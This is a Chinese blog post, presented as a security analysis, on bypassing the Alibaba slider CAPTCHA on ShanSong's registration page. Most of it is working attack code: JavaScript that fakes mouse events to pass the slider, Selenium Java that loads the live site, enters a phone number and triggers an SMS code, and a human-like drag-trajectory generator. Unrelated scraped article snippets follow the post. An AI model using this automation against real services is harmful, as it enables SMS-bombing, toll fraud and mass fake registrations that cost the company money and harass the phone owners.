当前位置: 首页 > news >正文

注册安全分析报告:闪送

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 闪送PC 注册入口

简介:闪送作为目前同城即时速递行业一对一急送平台,是同城即时速递行业的开拓者,定义了一对一急送的服务标准和服务时效。闪送一对一的服务模式,明确闪送员从取件到送达全程一次只服务一个客户,点对点送达,所以服务的时效更快、确定性更高、安全性更好,也能够为客户不同类型的递送提供各种专属化服务。

在这里插入图片描述

二、 安全性分析报告:

该网站采用的是阿里的滑动条, 阿里的滑动条设计高度重视用户体验,但安全方面存在一定的设计缺陷,前端将密钥显示出来,造成一定程度的安全漏洞,上报后并未引起重视,漏洞依据存在。
在这里插入图片描述

在这里插入图片描述

三、 测试方法:

前端界面分析,这是阿里的滑动条,网上有一些的教学视频,但形式都差不多,
阿里的滑动条有点像程咬金的三板斧,
1 检测是否是 webdriver (有专门的文章怎么过检)
2 滑动条检测
在这里插入图片描述

滑动条在页面嵌JS 就能过去 
<script>(function () {'use strict';/*** 休眠* [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠时间,单位秒* @param desc* @returns {Promise<unknown>}*/function sleep(time, desc) {return new Promise(resolve => {//sleepsetTimeout(() => {console.log(desc, time, 's')resolve(time)}, Math.floor(time * 1000))})}/*** 监测节点是否存在* @param selector    CSS选择器* @param desc* @returns {Promise<unknown>}*/function obsHas(selector, desc) {return new Promise(resolve => {//obs nodelet timer = setInterval(() => {let target = document.querySelector(selector)if (!!target) {clearInterval(timer)console.log(desc, selector)resolve(selector)} else {return}}, 100)})}function slide(id) {var slider = document.getElementById(id),container = slider.parentNode;var rect = slider.getBoundingClientRect(),x0 = rect.x || rect.left,y0 = rect.y || rect.top,w = container.getBoundingClientRect().width,x1 = x0 + w,y1 = y0;var mousedown = document.createEvent("MouseEvents");mousedown.initMouseEvent("mousedown", true, true, window, 0,x0, y0, x0, y0, false, false, false, false, 0, null);slider.dispatchEvent(mousedown);var mousemove = document.createEvent("MouseEvents");mousemove.initMouseEvent("mousemove", true, true, window, 0,x1, y1, x1, y1, false, false, false, false, 0, null);slider.dispatchEvent(mousemove);}sleep(1,'sleep').then(() => obsHas('.nc_wrapper','has')).then(() => slide('nc_1_n1z'))
})();</script>

1. 模拟器交互

private final String INDEX_URL = "http://www.ishansong.com/";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);WebElement clossElement = ChromeDriverManager.waitElement(driver, By.className("guide"), 1);if (clossElement != null) {clossElement.findElement(By.className("close_guide")).click();}WebElement cityElement = ChromeDriverManager.waitElement(driver, By.className("cityMain"), 1);if (cityElement != null && cityElement.isDisplayed()) {cityElement.findElement(By.xpath("//div[text()='北京市']")).click();}// 点击注册WebElement logElemet = ChromeDriverManager.waitElement(driver, By.xpath("//div[@class='to-login']"), 10);logElemet.click();Thread.sleep(3 * 1000);// 输入手机号By phoneBy = By.xpath("//input[@placeholder='请输入手机号']");WebElement phoneElemet = driver.findElement(phoneBy);phoneElemet.sendKeys(phone);boolean isRobot = true;int beginX = 786;int beginY = 553;if (isRobot) {ActionMove.RobotMove(beginX, beginY, 340);} else {boolean aliRet = AliClient.moveExec(driver, "nc_2_n1z", 370);if (!aliRet) {return retEntity;}}WebElement getCodeElement = driver.findElement(By.className("getSmsCode"));getCodeElement.click();Thread.sleep(1 * 1000);String msg = getCodeElement.getText();retEntity.setMsg(msg);if (msg != null && (msg.contains("重新发送") || msg.contains("s"))) {retEntity.setRet(0);} else {System.out.println("msg=" + msg);}return retEntity;} catch (Exception e) {retEntity.setRet(-1);retEntity.setMsg(e.toString());return retEntity;} finally {driver.manage().deleteAllCookies();}}

2. 模拟鼠标移动


public static boolean moveExec(WebDriver driver, String moveId, int distance) {try {// 获取滑动按钮WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);Actions actions = new Actions(driver);actions.moveToElement(moveElemet).perform();Thread.sleep(500);List<Integer> trackList = ActionMove.getTrack(distance);actions.clickAndHold(moveElemet).perform();// 按住鼠标左键不释放for (Integer moveInt : trackList) {actions.moveByOffset(moveInt, 0).perform();// 移动}actions.release(moveElemet).perform();// 释放鼠标左键// 滑动结果By langCntBy = By.className("nc-lang-cnt");WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;if (langCntInfo != null && langCntInfo.contains("验证通过")) {return true;} else {System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);return false;}} catch (Exception e) {System.out.println("AliClient.moveExec() e=" + e.toString());return false;}}

3. 轨迹生成(单轴通过)


/*** 根据距离获取滑动轨迹* * @param distance需要移动的距离* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移动轨迹List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 双轴轨道生成算法,主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}

4. 测试返回结果:

在这里插入图片描述

四丶结语

闪送作为快递行业知名的头部企业,在点对点送达业务占据很大的市场份额,拥有雄厚的技术实力,但在验证产品方面,不是自己研发而是采用第三方的阿里的滑动条, 阿里的产品由于过度重视用户体验, 简单的滑动条特别,模拟器只需要单轴的模拟轨道就可以通过, 说明阿里对轨迹的校验比较宽松,之前的分析显示,阿里主要是靠模拟器识别,如果这道关过了,就没有其它的防护措施了 。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

相关文章:

注册安全分析报告:闪送

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞…...

SpringCloud入门

SpringCloud 原版笔记&#xff1a;狂神说笔记——SpringCloud快速入门23 - subeiLY - 博客园 (cnblogs.com) 一.前言 常见面试题 什么是微服务&#xff1f; 微服务之间是如何独立通讯的&#xff1f; SpringCloud 和 Dubbo有哪些区别&#xff1f; SpringBoot和SpringCloud&…...

js替换css主题变量并切换iconfont文件

iconfont不止有单色、双色的图标&#xff0c;还有很多【多色】的图标&#xff0c;于是不能【去色】&#xff0c;只能手动替换primary 新建一个iconfont&#xff0c;替换过主题色的&#xff0c;然后与旧的iconfont配合切换使用 主要如下&#xff1a; reqiure之前必须【清除缓…...

UI设计师面试整理-设计趋势和行业理解

在UI设计师的面试中,了解当前的设计趋势和行业动态可以让你在面试中展示你的前瞻性思维和对设计领域的深刻理解。面试官希望看到你不仅具备扎实的设计技能,还能够洞察和应用最新的设计趋势和技术。以下是一些当前的设计趋势和如何在面试中展示你对这些趋势的理解和应用的建议…...

Java零工市场小程序如何改变自由职业者生活

如今&#xff0c;自由职业者越来越多&#xff0c;他们需要找到合适的工作机会&#xff0c;Java零工市场小程序&#xff0c;为自由职业者提供了一个方便、快捷的寻找工作机会的方式&#xff0c;这样一来&#xff0c;改变了自由职业者找寻工作的方式&#xff0c;也提高了他们的收…...

android11 自动授权访问sdcard

目录 步骤1 步骤2 步骤1 frameworks/base/core/java/com/android/internal/os/ZygoteInit.java OsConstants.CAP_SYS_PTRACE,OsConstants.CAP_SYS_TIME,OsConstants.CAP_SYS_TTY_CONFIG,OsConstants.CAP_WAKE_ALARM,OsConstants.CAP_BLOCK_SUSPENDOsConstants.CAP_BLOCK_SUS…...

优青博导团队/免费指导/数据分析//论文润色/组学技术服务 、表观组分析、互作组分析、遗传转化实验、生物医学

&#x1f31f; 教授团队领衔&#xff0c;全方位科研服务 &#x1f680; 一站式科研解决方案 &#x1f4c8; 加速科研进程&#xff0c;让成果不再等待 &#x1f4dd; 专业分析 定制服务 科研成功 &#x1f468;‍&#x1f52c; 立即行动&#xff0c;让科研成果跃然纸上 业务领…...

Mybatis 学习之 分页实现

文章目录 1. Mybatis1.1. 代码实现 2. Mybatis Plus2.1. 代码实现2.2. 特别注意 3. PageHelper3.1. 代码实现3.2. 特别注意 参考资料 1. Mybatis 1.1. 代码实现 package com.example.demo;import org.mybatis.spring.annotation.MapperScan; import org.springframework.boot…...

Spring Boot文件上传

配置文件上传属性&#xff1a; 在application.properties文件中配置文件上传的属性&#xff0c;包括上传目录的路径、文件大小限制等。 spring.servlet.multipart.max-file-size10MB spring.servlet.multipart.max-request-size10MB处理文件上传请求 上传的文件按照日期进行…...

基于Springboot+Vue的高校体育运动会比赛系统(含源码+数据库)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 3.功能 该系统…...

【JavaEE】——内存可见性问题

阿华代码&#xff0c;不是逆风&#xff0c;就是我疯&#xff0c;你们的点赞收藏是我前进最大的动力&#xff01;&#xff01;希望本文内容能够帮助到你&#xff01; 目录 一&#xff1a;内存可见性问题 1&#xff1a;代码解释 2&#xff1a;结果分析 &#xff08;1&#xf…...

YOLO训练参数设置解析

笔者按照教程训练完YOLO后对train训练参数配置产生兴趣&#xff0c;因此下文参考官方文档进行总结 Train - Ultralytics YOLO Docs YOLO 模型的训练设置包括训练过程中使用的各种超参数和配置。 这些设置会影响模型的性能、速度和准确性。 关键的训练设置包括批量大小、学习率…...

基于OpenCV的实时年龄与性别识别(支持CPU和GPU)

关于深度实战社区 我们是一个深度学习领域的独立工作室。团队成员有&#xff1a;中科大硕士、纽约大学硕士、浙江大学硕士、华东理工博士等&#xff0c;曾在腾讯、百度、德勤等担任算法工程师/产品经理。全网20多万粉丝&#xff0c;拥有2篇国家级人工智能发明专利。 社区特色…...

理解Js执行上下文

执行上下文 执行上下文&#xff08;Context&#xff09;又称上下文,在 JavaScript 中是一个重要的概念&#xff0c;它决定了变量和函数的可访问性及其行为。每个上下文都有一个关联的变量对象&#xff08;Variable Object&#xff09;&#xff0c;所有在该上下文中定义的变量和…...

微信小程序 蓝牙通讯

客户的需求如下&#xff1a;通过微信小程序控制蓝牙ble设备(电子面膜)&#xff0c;通过不同指令控制面膜的亮度和时间。 01.首先看下客户的ble设备服务文档&#xff1a;(本部分需要有点蓝牙基础,在调试过程中可以用安卓软件nRF Connect软件来执行测试命令) 0xFFF1灯控命令 命…...

java后端项目技术记录

后端使用技术记录 一、软件1. apifox&#xff0c;API管理软件问题 2. nginx前端服务器(1) 反向代理(2) 负载均衡 二、问题1. 使用spring全局异常处理器处理特定的异常2. 扩展springmvc的消息转换器&#xff08;对象和json数据的转换&#xff09;3. 路径参数的接收4. 实体构建器…...

PostgreSQL数据库与PostGIS在Windows中的部署与运行

本文介绍在Windows电脑中&#xff0c;下载、安装、部署并运行PostgreSQL与PostGIS数据库服务的方法。 PostgreSQL是一种功能强大的开源关系型数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;以其稳定性、可靠性和丰富的功能而闻名&#xff1b;其支持多种高级特性&…...

高级算法设计与分析 学习笔记10 平摊分析

动态表&#xff0c;可以变长。 一溢出就另起一个两倍大小的表。 可以轻易证明把n个数字放进去的时间复杂度是O(n)&#xff0c;n n/2 n/4……也就2n&#xff0c;插入数字本身也就是n&#xff0c;加起来最多不超过3n. 这种复杂度究竟是怎么算的&#xff1f;毕竟每次插入复杂度…...

从“纸面算力”到“好用算力”,超聚变打通AI+“最后一公里”

如果要评选2024年的年度科技名词&#xff0c;AI当属最热门的候选项。 年初的《政府工作报告》中首次提出了“人工智能”行动&#xff0c;正在从顶层设计着手&#xff0c;加快形成以人工智能为引擎的新质生产力。 折射到市场层面&#xff0c;AI作为一种新的范式&#xff0c;不…...

【有啥问啥】具身智能(Embodied AI):人工智能的新前沿

具身智能&#xff08;Embodied AI&#xff09;&#xff1a;人工智能的新前沿 引言 在人工智能&#xff08;AI&#xff09;的进程中&#xff0c;具身智能&#xff08;Embodied AI&#xff09;正逐渐成为研究与应用的焦点。具身智能不仅关注于机器的计算能力&#xff0c;更强调…...

MedGemma 1.5效果对比:在线大模型vs本地MedGemma在医学术语解释准确性评测

MedGemma 1.5效果对比&#xff1a;在线大模型vs本地MedGemma在医学术语解释准确性评测 1. 引言&#xff1a;为什么需要本地医疗AI助手&#xff1f; 想象一下&#xff0c;你或者家人身体不舒服&#xff0c;想在网上查查症状&#xff0c;结果搜出来一堆广告、营销号文章&#x…...

ButtonIn:嵌入式C++轻量级按键消抖库设计与实践

1. 项目概述ButtonIn 是一个专为嵌入式系统设计的轻量级、高可靠性按键输入封装库&#xff0c;其核心定位是为 ARM Cortex-M 系列微控制器&#xff08;如 STM32、NXP LPC、Renesas RA&#xff09;上的InterruptIn硬件外设提供工业级消抖&#xff08;Debouncing&#xff09;能力…...

YOLO X Layout实战:从扫描PDF中自动提取标题与表格的Python实现

办公室最头疼的工作之一就是处理扫描版PDF&#xff1a;不管是合同、审计报告、论文还是发票&#xff0c;扫描版的PDF都是图片&#xff0c;没法复制文本&#xff0c;要提取里面的标题、目录、表格&#xff0c;只能手动敲&#xff0c;几十页的PDF要花几个小时&#xff0c;特别浪费…...

Dify低代码平台异步能力深度解密(含源码级Hook注入点):为什么你的custom node总在/call接口返回500?

第一章&#xff1a;Dify低代码平台异步能力深度解密&#xff08;含源码级Hook注入点&#xff09;&#xff1a;为什么你的custom node总在/call接口返回500&#xff1f;Dify 的 /call 接口默认采用同步执行模型&#xff0c;但 custom node 若包含异步 I/O&#xff08;如 HTTP 调…...

别再乱调Filter Mode了!深度解析Unity纹理的Point、Bilinear和Trilinear到底怎么选

纹理过滤模式实战指南&#xff1a;如何为Unity项目选择最佳视觉方案 当你在Unity编辑器中导入一张纹理时&#xff0c;Filter Mode这个下拉菜单可能经常被忽视——毕竟默认的Bilinear看起来"能用"。但当你真正对比过Point、Bilinear和Trilinear三种模式在游戏中的实际…...

OpenClaw本地知识库:nanobot处理私有化文档问答

OpenClaw本地知识库&#xff1a;nanobot处理私有化文档问答 1. 为什么需要本地知识库助手 去年我接手了一个技术文档整理项目&#xff0c;团队积累了超过2000份内部技术文档、会议纪要和产品说明。每次新人入职或者遇到特定技术问题时&#xff0c;我们都要在这些文档里大海捞…...

别再只盯着顶刊了!这5本AI领域的SCI期刊,投稿友好、审稿快,适合你的第一篇论文

5本AI领域高性价比SCI期刊&#xff1a;避开顶刊内卷的投稿策略 在人工智能研究领域&#xff0c;发表SCI论文是衡量学术成果的重要指标。然而&#xff0c;Nature Machine Intelligence、IEEE TPAMI等顶刊的投稿竞争异常激烈&#xff0c;审稿周期动辄半年以上&#xff0c;对创新性…...

4步掌握glTF-Blender-Exporter实现3D模型高效导出

4步掌握glTF-Blender-Exporter实现3D模型高效导出 【免费下载链接】glTF-Blender-Exporter Moved to https://github.com/KhronosGroup/glTF-Blender-IO. 项目地址: https://gitcode.com/gh_mirrors/gl/glTF-Blender-Exporter glTF-Blender-Exporter是一款由Khronos Gro…...

RFdiffusion 安装后别急着关!手把手带你解读生成的 .pdb 和 .trb 文件,并接入 ProteinMPNN 完成设计

RFdiffusion 实战进阶&#xff1a;从骨架生成到完整蛋白质设计的全流程解析 当你第一次看到 RFdiffusion 生成的 .pdb 文件时&#xff0c;可能会感到既兴奋又困惑——那些蓝色的骨架线条代表着什么&#xff1f;如何将这些抽象的结构转化为具有生物功能的蛋白质&#xff1f;本文…...

OpenClaw Graph Memory 知识图谱深度解析:告别 AI 记忆困境,实现去中心化自我改进!

当 AI 助手频繁出错、反复试错消耗大量 token&#xff1b;当跨对话的宝贵经验第二天就消失无踪&#xff1b;当某个 Skills 学到的孤岛知识点无法迁移——这些问题是否困扰着你&#xff1f;OpenClaw 开源项目 Graph Memory 登场&#xff0c;用知识图谱颠覆传统记忆方案&#xff…...